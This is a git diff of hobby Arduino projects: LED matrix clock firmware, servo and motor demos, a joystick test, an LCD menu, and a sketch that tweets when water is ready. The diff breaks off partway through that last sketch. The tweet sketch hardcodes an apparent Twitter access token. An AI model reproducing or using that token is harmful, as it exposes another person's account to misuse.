SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 1; + NextSUBStateRequest = false; + SleepEnable = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; + +/* +// Not using this RTC version since it seems too power hungery due to constant I2C polling + case 2: // Stop Watch Running + + I2C_RX(RTCDS1337,RTC_SEC); + CurrentTime =i2cData & B00001111; + if(CurrentTime != OldTime) + { + OldTime = CurrentTime; + TotalTime = TotalTime + 1; + if(TotalTime > 5940) // Over 99 minutes can "not" be displayed (60seconds x 99 = 5940) + { + TotalTime = 0; + } + } + + // Convert Total Time to digits + SWMINUTES = TotalTime / 60; + SWSECONDS = TotalTime % 60; + + SWDigit4 = SWMINUTES / 10; + SWDigit3 = SWMINUTES % 10; + SWDigit2 = SWSECONDS / 10; + SWDigit1 = SWSECONDS % 10; + + writeTime(SWDigit4, SWDigit3, SWDigit2, SWDigit1); + + if(NextSUBStateRequest) + { + SUBSTATE = 1; + NextSUBStateRequest = false; + SleepEnable = true; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; +*/ + case 99: // Exit Stop Watch Function + + NextState(); + clearmatrix(); + + SleepEnable = true; + + break; + } +} + +//******************************************************************************************************************* +// Display Serial Data +//******************************************************************************************************************* + +void DisplaySerialData() +{ + int temp =0; + switch (SUBSTATE) + { + + case 0: // Display Set-up + + ResetScrollMessage(); + + + NextSUBStateRequest = false; + NextStateRequest = false; + OptionModeFlag = false; + displayString("Text"); + delay(250); + + GETFROMEEPROM(); + if(IncomingMessIndex == 0 | IncomingMessIndex > 27) + { + MessagePointer = 0; + SUBSTATE =3; + char Str2[] = "SpikenzieLabs"; + for(int i =0; i <= sizeof(Str2); i ++) // Show default Scrolling message + { + IncomingMessage[i] = Str2[i]; + IncomingMessIndex = i; + } + + } + else + { + MessagePointer= 0; + SUBSTATE = 3; + SleepEnable = true; + } + + break; + + case 1: + if(NextSUBStateRequest) + { + ResetScrollMessage(); + + SUBSTATE = 2; + NextSUBStateRequest = false; + power_usart0_enable(); + Serial.begin(57600); + SleepEnable = false; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + break; + + // break; + + case 2: // Receive Serial + + clearmatrix(); + // LED MATRIX + // + // Port C: C0 to C3 set to high. Columns 17 to 20 of LED matrix - Cathode connection + PORTC = (PORTC & B11110000) | B00001111; + // Port B: Unselect the MUX chip + PORTB = (1<0) + { + MessageRead = Serial.read(); + + if(IncomingMessIndex<24) + { + IncomingMessage[IncomingMessIndex] = MessageRead; + // IncomingMessIndex = IncomingMessIndex + 1; + IncomingMessIndex++; + // IncomingMessage[IncomingMessIndex] = '\0'; + Serial.print(MessageRead); + } + } + + bval = !digitalRead(SETBUTTON); + if(!bval) + { + goto shortloop; + } + else + + { + Timer1.attachInterrupt(LEDupdateTWO); + + while(bval) + { + bval = !digitalRead(SETBUTTON); + } + delay(100); + } + + if(IncomingMessIndex == 0) + { + SUBSTATE = 99; + } + else + { + SUBSTATE = 3; + FILLEEPROM(); + OptionModeFlag = false; + + + } + SleepTimer = millis(); + SleepEnable = true; + Serial.end(); + power_usart0_disable(); + + break; + + case 3: + + for(int i = 0;i<=IncomingMessIndex-1;i ++) + { + TEXT = IncomingMessage[i]-32; + for(int y =0;y<5;y++) + { + Message[MessagePointer] = LETTERS[TEXT][y]; + MessagePointer = MessagePointer +1; + } + + Message[MessagePointer] = 0; // One space between words + MessagePointer = MessagePointer +1; + IncomingMax = MessagePointer; + } + + + for(int i = 0;i<20;i ++) // 20 spaces between phrases + { + Message[MessagePointer] = 0; + MessagePointer = MessagePointer +1; + IncomingMax = MessagePointer; + } + + SUBSTATE = 4; + ScrollLoops = 3; + SleepEnable = true; + + + break; + + // ================================================================================================== + + case 4: + + scrollCounter = scrollCounter +1; + if(scrollCounter>scrollSpeed) + { + + if(ScrollLoops > 0) + { + SleepTimer = millis(); + } + + IncomingIndex = StartWindow; + for(int i=0;i<20;i++) + { + LEDMAT[i] = Message[IncomingIndex]; + IncomingIndex = IncomingIndex + 1; + if(IncomingIndex>IncomingMax) + { + IncomingIndex = 0; // Rolled over end of message + // ScrollLoops = ScrollLoops - 1; // Used to extend number of messages to scroll before sleep mode reqctivated + } + } + StartWindow = StartWindow + 1; + if(StartWindow>IncomingMax) + { + StartWindow = 0; + ScrollLoops = ScrollLoops - 1; // Used to extend number of messages to scroll before sleep mode reqctivated + } + + scrollCounter= 0; + } + + if(NextSUBStateRequest) + { + scrollSpeed = scrollSpeed + 50; + if(scrollSpeed>400) + { + scrollSpeed = 100; + } + scrollCounter= 0; + NextSUBStateRequest = false; + } + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + if(OptionModeFlag) + { + SUBSTATE =1; + displayString("NEW?"); + delay(250); + } + break; + + case 99: // Exit Stop Watch Function + + Serial.end(); + power_usart0_disable(); + + NextState(); + clearmatrix(); + + SleepEnable = true; + + break; + } +} + +void ResetScrollMessage() +{ + + IncomingIndex = 0; + IncomingMax = 0; + MessagePointer = 0; + IncomingMessIndex =0; + StartWindow = 0; + IncomingLoaded = 0; + scrollCounter = 0; + + for(int i =0;i<275;i++) + { + Message[i] = 0; + } + + for(int i =0;i<24;i++) + { + IncomingMessage[i] = 0; + } +} + +//******************************************************************************************************************* +// Graphic Animation +//******************************************************************************************************************* +void graphican() +{ + + int temp =0; + // int rand = 0; + switch (SUBSTATE) + { + + case 0: + SUBSTATE =1; + scrollCounter = 0; + scrollSpeed = 200; + // soundeffect = false; + y = 3; + target = 1; + targdist = 0; + displayString("Worm"); + delay(250); + break; + + case 1: + + if(scrollCounter>scrollSpeed) + { + + c= c +1; + if(c>19) + { + c = 0; + } + // -- + + + if(NextSUBStateRequest) + { + target = target +1; + if(target> 3) + { + target = 0; + // targdir = false; + targdist = 0; + + } + NextSUBStateRequest = false; + } + + + if(targdir) + { // Going up + + if(targdist == target) + { + targdir = !targdir; + targdist = - target; + if(soundeffect) + { + beepsound(4000,10); + } + + } + else + { + targdist = targdist +1; + y = 3 - targdist; + } + } + else + { // Going Down + + if(targdist == target) + { + targdir = !targdir; + targdist = - target; + if(soundeffect) + { + beepsound(5000,10); + } + } + else + { + targdist = targdist +1; + y = 3 + targdist; + } + } + + + bitSet(temp, y); + + + // -- + LEDMAT[c] = temp; + if((c-wormlenght)<0) + { + LEDMAT[19-((wormlenght-1)-c)] = 0; + } + else + { + LEDMAT[c-wormlenght] = 0; + } + scrollCounter = 0; + } + + + + if(NextStateRequest) + { + SUBSTATE =99; + NextStateRequest = false; + } + + if(OptionModeFlag) + { + soundeffect = !soundeffect; + } + + scrollCounter = scrollCounter +1; + break; + + + + case 99: // Exit Graphic Function + + NextState(); + clearmatrix(); + + break; + + } +} + +//******************************************************************************************************************* +// LED tester +//******************************************************************************************************************* + +void lamptest() +{ + + int lamptestspeed = 250; + clearmatrix(); + bval = !digitalRead(SETBUTTON); + if(bval) + { + do + { + // clearmatrix(); + for(int i = 0; i<20;i++) + { + for(int y = 0; y<8;y++) + { + bitSet(LEDMAT[i],y); + delay(lamptestspeed / 10); + bval = !digitalRead(SETBUTTON); + if(bval) + { + lamptestspeed = lamptestspeed -1; + if(lamptestspeed== 0) + { + lamptestspeed = 250; + } + } + } + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + break; + } + + delay(lamptestspeed); + LEDMAT[i] = 0; + delay(lamptestspeed / 5); + } + bval = !digitalRead(MODEBUTTON); + } + while(!bval); + } + } + + //******************************************************************************************************************* + // Read Message from EEPROM + //******************************************************************************************************************* + void GETFROMEEPROM() + { + int EEPadd; + IncomingMessIndex = EEPROM.read(0); + for(int EEPadd=1; EEPadd < 26; EEPadd++) + { + IncomingMessage[EEPadd-1] = EEPROM.read(EEPadd); + } + } + +//******************************************************************************************************************* +// Save changed Message to EEPROM +//******************************************************************************************************************* +void FILLEEPROM() // Normally only run once if EEPROM is clear +{ + int EEPadd; + EEPROM.write(0, IncomingMessIndex); // Holds the message lenght + + for(int EEPadd=1; EEPadd < IncomingMessIndex+1; EEPadd++) + { + + EEPROM.write(EEPadd, IncomingMessage[EEPadd-1]); + } + // EEPROM.write(25, 1); // 1 is just a number we selected to show EEPROM was writen +} + + +//******************************************************************************************************************* +// Output 4 Characters to Display +//******************************************************************************************************************* +void displayString(char outText[]) +{ + int cindex = 0; +// for (int i = 0; i < sizeof(Str1) - 1; i++){ + for (int i = 0; i < 4; i++){ + for(int y =0;y<5;y++) + { + TEXT = outText[i]-32; + LEDMAT[cindex] = LETTERS[TEXT][y]; + cindex = cindex +1; + } + } +} + +//******************************************************************************************************************* +// Output Custom Graphic to Display +//******************************************************************************************************************* +void displayGraphic(int index, int pos, int len) +{ + for(int y =0;y0;i--) + { + LEDMAT[i] = LEDMAT[i-1]; + } + LEDMAT[0] = temp; +} +*/ + +//******************************************************************************************************************* +// Clear LED Matrix +//******************************************************************************************************************* + +void clearmatrix() +{ + for(int i =0;i<20;i++) + { + LEDMAT[i] = 0; + } +} + + +//******************************************************************************************************************* +// Output single character to display +//******************************************************************************************************************* + +void filldigit(int dig, int index) // Where dig is 1 to 4 and index is position of character +{ + for(int y =0;y<5;y++) + { + LEDMAT[((dig-1)*5)+y] = LETTERS[index][y]; + } +} + +//******************************************************************************************************************* +// Fill LED Matrix with formatted time +//******************************************************************************************************************* +// Fills diplay with formated time +// Depending on postion of "1"s spacing is adjusted beween it and next digit +// Blinks if it settng mode +// displays AM/PM dot and Alarm on dot + +void writeTime(uint8_t dig1, uint8_t dig2, uint8_t dig3, uint8_t dig4) +{ + int currentdig = 4; + int y = 0; + int i = 18; + LEDMAT[19] = 0; +// LEDMAT[0] = 0; + + for( y =5;y>1;y--) + { + if(blinkON && (blinkMin)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig4+digitoffset][y-2]; + } + i = i -1; + } + // } + + if(dig3 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkMin)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; //LETTERS[dig3+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -3; + currentdig = 2; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkMin)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig3+digitoffset][y-2]; + } + i = i -1; + } + currentdig = 2; + } + // ADD Colon Here - S --------------------------------- + if((dig2 == 1) || (dig1 == 3)) + { + LEDMAT[i] = 0; + + LEDMAT[i-1] = 20; //LETTERS[26][3]; // the " : " + + LEDMAT[i-2] = 0; + i=i-3; + } + else + { + LEDMAT[i] = 20; //LETTERS[26][3]; // the " :" + LEDMAT[i-1] = 0; + i=i-2; + } + // ADD Colon Here - E --------------------------------- + + if(dig2 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkHour)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; //LETTERS[dig2+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -3; + currentdig = 1; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkHour)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig2+digitoffset][y-2]; + } + i = i -1; + } + currentdig = 1; + } + + if(dig1 == 1) // Special case of #1, smaller kerning + { + LEDMAT[i] = 0; + if(blinkON && (blinkHour)) + { + LEDMAT[i-1] = 0; // blank space + } + else + { + LEDMAT[i-1] = 62; // LETTERS[dig1+digitoffset][3]; + } + LEDMAT[i-2] = 0; + i = i -2; + } + else + { + for( y =5;y>1;y--) + { + if(blinkON && (blinkHour)) + { + LEDMAT[i] = LETTERS[0][y-2]; // blank space + } + else + { + LEDMAT[i] = LETTERS[dig1+digitoffset][y-2]; + } + i = i -1; + } + // i = 0; + } + +// for(y= i+1; y>0;y--) // Clear any remaining columns + for(y= i+1; y>1;y--) // Clear any remaining columns, but not leftmost + { + LEDMAT[y-1] = 0; + } + +// LEDMAT[0] = 0; + AMPMALARMDOTS = 0; + + if(ALARMON && (STATE == 1)) // Alarm dot (top left) Do not display while setting alarm + { +// bitSet(LEDMAT[0],6); + bitSet(AMPMALARMDOTS,6); + } + + if(PM_NotAM_flag && (STATE == 1 | STATE == 2) && TH_Not24_flag) // AM / PM dot (bottom left) (Display or Set Time) + { +// bitSet(LEDMAT[0],0); + bitSet(AMPMALARMDOTS,0); + } + + if(A_PM_NotAM_flag && (STATE == 3) && TH_Not24_flag) // AM / PM dot (bottom left) (Set Alarm Time) + { +// bitSet(LEDMAT[0],0); + bitSet(AMPMALARMDOTS,0); + } + + LEDMAT[0] = AMPMALARMDOTS; + +} diff --git a/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino b/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino new file mode 100644 index 0000000..bce3851 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Setup/ST2_Setup.ino @@ -0,0 +1,112 @@ +//******************************************************************************************************************* +// Setup +//******************************************************************************************************************* +void setup() +{ + + // Rows Digital pin 0 to 7 + // pinMode(0, OUTPUT); // Not used + // pinMode(1, OUTPUT); // Not used + + // User interface Button Pins + /* + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + pinMode(2, INPUT); + pinMode(3, INPUT); + */ + + #if ARDUINO >= 101 + pinMode(2, INPUT_PULLUP); + pinMode(3, INPUT_PULLUP); + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + #else + digitalWrite(2, HIGH); // Write a high to pin, acts as weak pull-up + digitalWrite(3, HIGH); + pinMode(2, INPUT); + pinMode(3, INPUT); + #endif + + // Column address bits 4 to 16 decode + pinMode(4, OUTPUT); // DeMux A + pinMode(5, OUTPUT); // DeMux B + pinMode(6, OUTPUT); // DeMux C + pinMode(7, OUTPUT); // DeMux D + + /* + // + pinMode(8, OUTPUT); // ROW 1 + pinMode(9, OUTPUT); // ROW 2 + pinMode(10, OUTPUT); // ROW 3 + pinMode(11, OUTPUT); // ROW 4 + pinMode(12, OUTPUT); // ROW 5 + pinMode(13, OUTPUT); // ROW 6 + + // Make these pins outputs (Was the crystal Pins) B6 = Row 7, B7 = demux select + DDRB = (1< +#include + +#include + +#include +#include +#include + +// Worm animation +int c =0; +int y = 3; +int target = 3; +int targdist =0; +boolean targdir = true; +int wormlenght = 15; +boolean soundeffect = false; + +// int i =0; +// int i2 =0; +// int vite = 2; +// uint8_t incro = 0; +// uint8_t column = 0; +uint8_t TEXT = 65; +uint8_t i2cData = 0; +// int nextcounter = 0; + +int STATE = 0; +int SUBSTATE = 0; +int MAXSTATE = 6; +boolean NextStateRequest = false; +boolean NextSUBStateRequest = false; +boolean JustWokeUpFlag = false; +boolean JustWokeUpFlag2= false; +boolean OptionModeFlag = false; + +int ROWBITINDEX = 0; +int scrollCounter =0; +int ScrollLoops = 3; +int scrollSpeed = 300; // was 1200 +int blinkCounter = 0; +boolean blinkFlag = false; +boolean blinkON = true; +boolean blinkHour = false; +boolean blinkMin = false; +#define blinkTime 500 // was 1000 + +boolean displayFLAG = true; + +unsigned long SleepTimer; +unsigned long currentMillis; +unsigned long SleepLimit = 6000; +boolean SleepEnable = true; +int UpdateTime = 0; + +#define BUTTON1 2 +#define MODEBUTTON 2 +#define BUTTON2 3 +#define SETBUTTON 3 +boolean bval = false; + +//char Str1[] = "Hi"; +char IncomingMessage[24]; +char MessageRead; +//uint8_t INBYTE; +uint8_t Message[275]; +int IncomingIndex = 0; +int IncomingMessIndex =0; +int IncomingMax = 0; +int MessagePointer = 0; +int StartWindow = 0; +int IncomingLoaded =0; + + +char days[7][4] = { + "Sun","Mon","Tue","Wed","Thr","Fri","Sat"}; +char months[12][4] = { + "Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"}; + +// Time Variables +uint8_t HourTens = 1; +uint8_t HourOnes = 2; +uint8_t MinTens = 0; +uint8_t MinOnes = 0; +uint8_t SecTens = 0; +uint8_t SecOnes = 0; + +uint8_t Days =1; +uint8_t DateOnes = 1; +uint8_t DateTens =0; +uint8_t MonthOnes =1; +uint8_t MonthTens = 1; +uint8_t YearsOnes = 2; +uint8_t YearsTens = 1; + +uint8_t DayCode =1; +uint8_t MonthCode =1; + + +boolean TH_Not24_flag = true; +boolean PM_NotAM_flag = false; +boolean NewTimeFormate = TH_Not24_flag; +uint8_t AMPMALARMDOTS = 0; + +// Alarm +uint8_t AHourTens = 1; +uint8_t AHourOnes = 2; +uint8_t AMinTens = 0; +uint8_t AMinOnes = 0; + +boolean A_TH_Not24_flag = true; +boolean A_PM_NotAM_flag = false; + +// StopWatch + int OldTime = 0; + int CurrentTime = 0; + int TotalTime = 0; + +uint8_t SWDigit4 = 0; +uint8_t SWDigit3 = 0; +uint8_t SWDigit2 = 0; +uint8_t SWDigit1 = 0; + +int SWMINUTES = 0; +int SWSECONDS = 0; + +int dayIndex = 0; + +//uint8_t SetDigit = 4; +//boolean MODEOVERRIDEFLAG = false; +boolean NextStateFlag = false; +boolean SetTimeFlag = false; +boolean ALARM1FLAG = false; +boolean ALARMON = false; + +boolean scrollDirFlag = false; + + +// +volatile uint8_t Mcolumn = 0; +//volatile uint8_t McolumnTemp = 0; +//volatile uint8_t Mrow = 0; +volatile uint8_t LEDMAT[20]; + +volatile boolean MINUP = false; +volatile boolean MINDOWN = false; +volatile boolean TFH = false; + +const int digitoffset = 95; // 95 // was 16 + + +// Constants +// DS1337+ Address locations +#define RTCDS1337 B01101000 // was B11010000 +#define RTCCONT B00001110 //; Control +#define RTCSTATUS B00001111 //; Status + +//#define RTC_HSEC B00000001 //; Hundredth of a secound +#define RTC_SEC B00000000 //; Seconds +#define RTC_MIN B00000001 //; Minuites +#define RTC_HOUR B00000010 //; Hours + +#define RTC_DAY B00000011 //; Day +#define RTC_DATE B00000100 //; Date +#define RTC_MONTH B00000101 //; Month +#define RTC_YEAR B00000110 //; Year + +#define RTC_ALARM1SEC B00000111 //; Seconds +#define RTC_ALARM1MIN B00001000 //; Minuites +#define RTC_ALARM1HOUR B00001001 //; Hours +#define RTC_ALARM1DATE B00001010 //; Date + + +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +// Bit Map Letter - data array +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +// const byte LETTERS[95][5] = { +const byte LETTERS[106][5] = { + 0,0,0,0,0, // Space + 0,0,95,0,0, // ! + 0,3,0,3,0, // " + 18,63,18,63,18, // # + 4,42,127,42,16, // $ + 34,21,42,84,34, // % + 54,73,81,34,80, // & + 0,0,3,0,0, // ' + 0,28,34,65,0, // ( + 0,65,34,28,0, // ( + 4,20,15,20,4, // * + 8,8,62,8,8, // + + 0,0,2,1,0, // ' (not sure) + 8,8,8,8,8, // - + 0,0,64,0,0, // . + 32,16,8,4,2, // / + + 62,65,65,65,62, // 0 + 64,66,127,64,64, // 1 + 98,81,73,73,70, // 2 + 34,65,73,73,54, // 3 + 7,8,8,127,8, // 4 + 47,73,73,73,49, // 5 + 62,73,73,73,50, // 6 + 65,33,17,9,7, // 7 + 54,73,73,73,54, // 8 + 6,9,9,9,126, // 9 + + 0,0,54,0,0, // : + 0,64,54,0,0, // ; + 8,20,34,65,0, // < + 20,20,20,20,20, // = + 0,65,34,20,8, // > + 6,1,81,9,6, // ? + 62,65,73,85,10, // @ + + 124,10,9,10,124, // A + 127,73,73,73,54, // B + 62,65,65,65,34, // C + 127,65,65,65,62, // D + 127,73,73,73,65, // E + 127,9,9,9,1, // F + 62,65,73,73,50, // G + 127,8,8,8,127, // H + 0,65,127,65,0, // I was 65,65,127,65,65, + 32,64,65,63,1, // J + 127,8,20,34,65, // K + 127,64,64,64,64, // L + 127,2,4,2,127, // M + 127,4,8,16,127, // N + 62,65,65,65,62, // O + 127,9,9,9,6, // P + 62,65,81,33,94, // Q + 127,9,25,41,70, // R + 38,73,73,73,50, // S + 1,1,127,1,1, // T + 63,64,64,64,63, // U + 31,32,64,32,31, // V + 63,64,48,64,63, // W + 99,20,8,20,99, // X + 3,4,120,4,3, // Y + 97,81,73,69,67, // Z + + 0,127,65,65,0, // [ + 2,4,8,16,32, // back slash + 0,65,65,127,0, // ] + 0,2,1,2,0, // ^ + 128,128,128,128,128, // _ + 0,0,1,2,0, // ` + + 112,72,72,40,120, // a + 126,48,72,72,48, // b + 48,72,72,72,72, // c + 48,72,72,48,126, // d + 56,84,84,84,88, // e + 0,8,124,10,0, // f + 36,74,74,74,60, // g + 126,8,8,8,112, // h + 0,0,122,0,0, // i + 32,64,66,62,2, // j + 124,16,16,40,68, // k + 0,124,64,64,0, // l + 120,4,120,4,120, // m + 124,8,4,4,120, // n + 48,72,72,72,48, // o + 126,18,18,18,12, // p + 12,18,18,18,124, // q + 124,8,4,4,8, // r + 72,84,84,84,36, // s + 4,4,126,4,4, // t + 60,64,64,64,60, // u + 28,32,64,32,28, // v + 124,32,16,32,124, // w + 68,40,16,40,68, // x + 4,8,112,8,4, // y + 68,100,84,76,68, // z + + 0,8,54,65,0, // { + 0,0,127,0,0, // | + 0,65,54,8,0, // } + 16,8,24,16,8, // ~ + + // Small Numbers (for adding colon in clock applications) + 0,62,34,62,0, // 0 + 0,0,62,0,0, // 1 + 0,58,42,46,0, // 2 + 0,42,42,62,0, // 3 + 0,14,8,62,0, // 4 + 0,46,42,58,0, // 5 + 0,62,42,58,0, // 6 + 0,2,2,62,0, // 7 + 0,62,42,62,0, // 8 + 0,14,10,62,0, // 9 + 0,0,20,0,0, // : + + + +}; + +const byte GRAPHIC[5][5] = { + 0,0,0,0,0, + 0,28,62,127,0, // Speaker cone + 34,28,65,34,28, // Sound wave + 16,32,16,8,4, // Check mark + 34,20,8,20,34, // "X" +}; + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Projects/Servo_Sweep/Servo_Sweep.ino b/Projects/Servo_Sweep/Servo_Sweep.ino new file mode 100755 index 0000000..e26fb5a --- /dev/null +++ b/Projects/Servo_Sweep/Servo_Sweep.ino @@ -0,0 +1,29 @@ +// Sweep +// by BARRAGAN + +#include + +Servo myservo; // create servo object to control a servo + // a maximum of eight servo objects can be created + +int pos = 0; // variable to store the servo position + +void setup() +{ + myservo.attach(9); // attaches the servo on pin 9 to the servo object +} + + +void loop() +{ + for(pos = 0; pos < 180; pos += 1) // goes from 0 degrees to 180 degrees + { // in steps of 1 degree + myservo.write(pos); // tell servo to go to position in variable 'pos' + delay(15); // waits 15ms for the servo to reach the position + } + for(pos = 180; pos>=1; pos-=1) // goes from 180 degrees to 0 degrees + { + myservo.write(pos); // tell servo to go to position in variable 'pos' + delay(15); // waits 15ms for the servo to reach the position + } +} diff --git a/Projects/StepMotor/StepMotor.ino b/Projects/StepMotor/StepMotor.ino new file mode 100755 index 0000000..93a2c72 --- /dev/null +++ b/Projects/StepMotor/StepMotor.ino @@ -0,0 +1,93 @@ +/* ----------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-03 .: Spin Motor Spin :. (Transistor and Motor) | + * ----------------------------------------------------------- + * + * The Arduinos pins are great for driving LEDs however if you hook + * up something that requires more power you will quickly break them. + * To control bigger items we need the help of a transistor. + * Here we will use a transistor to control a small toy motor + * + * http://tinyurl.com/d4wht7 + * + */ + +int motorPin = 9; // define the pin the motor is connected to + // (if you use pin 9,10,11 or 3you can also control speed) + +/* + * setup() - this function runs once when you turn your Arduino on + * We set the motors pin to be an output (turning the pin high (+5v) or low (ground) (-)) + * rather than an input (checking whether a pin is high or low) + */ +void setup() +{ + pinMode(motorPin, OUTPUT); +} + + +/* + * loop() - this function will start after setup finishes and then repeat + * we call a function called motorOnThenOff() + */ + +void loop() // run over and over again +{ + motorOnThenOff(); + //motorOnThenOffWithSpeed(); + //motorAcceleration(); +} + +/* + * motorOnThenOff() - turns motor on then off + * (notice this code is identical to the code we used for + * the blinking LED) + */ +void motorOnThenOff(){ + int onTime = 2500; //the number of milliseconds for the motor to turn on for + int offTime = 1000; //the number of milliseconds for the motor to turn off for + + digitalWrite(motorPin, HIGH); // turns the motor On + delay(onTime); // waits for onTime milliseconds + digitalWrite(motorPin, LOW); // turns the motor Off + delay(offTime); // waits for offTime milliseconds +} + +/* + * motorOnThenOffWithSpeed() - turns motor on then off but uses speed values as well + * (notice this code is identical to the code we used for + * the blinking LED) + */ +void motorOnThenOffWithSpeed(){ + + int onSpeed = 200; // a number between 0 (stopped) and 255 (full speed) + int onTime = 2500; //the number of milliseconds for the motor to turn on for + + int offSpeed = 50; // a number between 0 (stopped) and 255 (full speed) + int offTime = 1000; //the number of milliseconds for the motor to turn off for + + analogWrite(motorPin, onSpeed); // turns the motor On + delay(onTime); // waits for onTime milliseconds + analogWrite(motorPin, offSpeed); // turns the motor Off + delay(offTime); // waits for offTime milliseconds +} + +/* + * motorAcceleration() - accelerates the motor to full speed then + * back down to zero +*/ +void motorAcceleration(){ + int delayTime = 50; //milliseconds between each speed step + + //Accelerates the motor + for(int i = 0; i < 256; i++){ //goes through each speed from 0 to 255 + analogWrite(motorPin, i); //sets the new speed + delay(delayTime); // waits for delayTime milliseconds + } + + //Decelerates the motor + for(int i = 255; i >= 0; i--){ //goes through each speed from 255 to 0 + analogWrite(motorPin, i); //sets the new speed + delay(delayTime); // waits for delayTime milliseconds + } +} diff --git a/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino b/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino new file mode 100755 index 0000000..278ca71 --- /dev/null +++ b/Projects/Tea-duino Main/Joystick_DirectionPrint/Joystick_DirectionPrint.ino @@ -0,0 +1,31 @@ +int UD = 0; +int LR = 0; + +void setup() { + Serial.begin(9600); +} + +void loop() { + UD = analogRead(A0); + LR = analogRead(A1); + if (UD == 0) + { + Serial.println("This is down!"); + } + else + if (UD == 1023) + { + Serial.println("This is up!"); + } + else + if (LR == 0) + { + Serial.println("This is Left!"); + } + else + if (LR == 1023) + { + Serial.println("This is Right!"); + } + delay(10); +} diff --git a/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino b/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino new file mode 100755 index 0000000..b15ee67 --- /dev/null +++ b/Projects/Tea-duino Main/Menusystem_LCD/Menusystem_LCD.ino @@ -0,0 +1,72 @@ +// include the library code: +#include + +// initialize the library with the numbers of the interface pins +LiquidCrystal lcd(7, 8, 9, 10, 11, 12); +int UD = 0; +int LR = 0; +const int buttonPin = 2; + +char* myString [] = {"@EchoEsq", "@SindreIvers", "@KevinMidboe", "@Odinbn", "@hozar132"}; +int length = 0; + +int buttonState = 0; + +int i = 0; + +void setup(){ + lcd.begin(16, 2); + + pinMode(buttonPin, INPUT); + + Serial.begin(9600); +} + +void loop() +{ + //Get length of myString + length = 5; + + UD = analogRead(0); + LR = analogRead(1); + /* + if (UD > 512) + { + Serial.print("UP"); + delay(800); + } + else + if (UD < 512) + { + Serial.print("Down"); + delay(800); + } + else + if (LR < 512 && UD > 512) + { + Serial.print("Right"); + delay(800); + } + else + if (LR < 512) + { + Serial.print("Left"); + delay(800); + }*/ + + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + lcd.clear(); + lcd.write(">"); + lcd.write(myString[i]); + lcd.setCursor(1,1); + lcd.write(myString[i + 1]); + delay(800); + i++; + } + if (i >= length) + { + i = 0; + } +} diff --git a/Projects/Tea-duino Main/Menusystem_LCD/data/JoystickController.zip b/Projects/Tea-duino Main/Menusystem_LCD/data/JoystickController.zip new file mode 100755 index 0000000..273ef6b Binary files /dev/null and b/Projects/Tea-duino Main/Menusystem_LCD/data/JoystickController.zip differ diff --git a/Projects/Tea-duino Main/Schematics/Screen Shot 2014-05-11 at 22.08.05.png b/Projects/Tea-duino Main/Schematics/Screen Shot 2014-05-11 at 22.08.05.png new file mode 100755 index 0000000..aa70f53 Binary files /dev/null and b/Projects/Tea-duino Main/Schematics/Screen Shot 2014-05-11 at 22.08.05.png differ diff --git a/Projects/Tea-duino Main/Schematics/Tea-Duino Schematic.fzz b/Projects/Tea-duino Main/Schematics/Tea-Duino Schematic.fzz new file mode 100755 index 0000000..4720676 Binary files /dev/null and b/Projects/Tea-duino Main/Schematics/Tea-Duino Schematic.fzz differ diff --git a/Projects/Tea-duino Main/SimplePost/SimplePost.ino b/Projects/Tea-duino Main/SimplePost/SimplePost.ino new file mode 100755 index 0000000..edcc0fb --- /dev/null +++ b/Projects/Tea-duino Main/SimplePost/SimplePost.ino @@ -0,0 +1,60 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +const int buttonPin = 9; +int buttonState = 0; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +//byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + +// Message to post +char msg[] = "@KevinMidboe Vannet er ferdig!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + // or you can use DHCP for autoomatic IP address 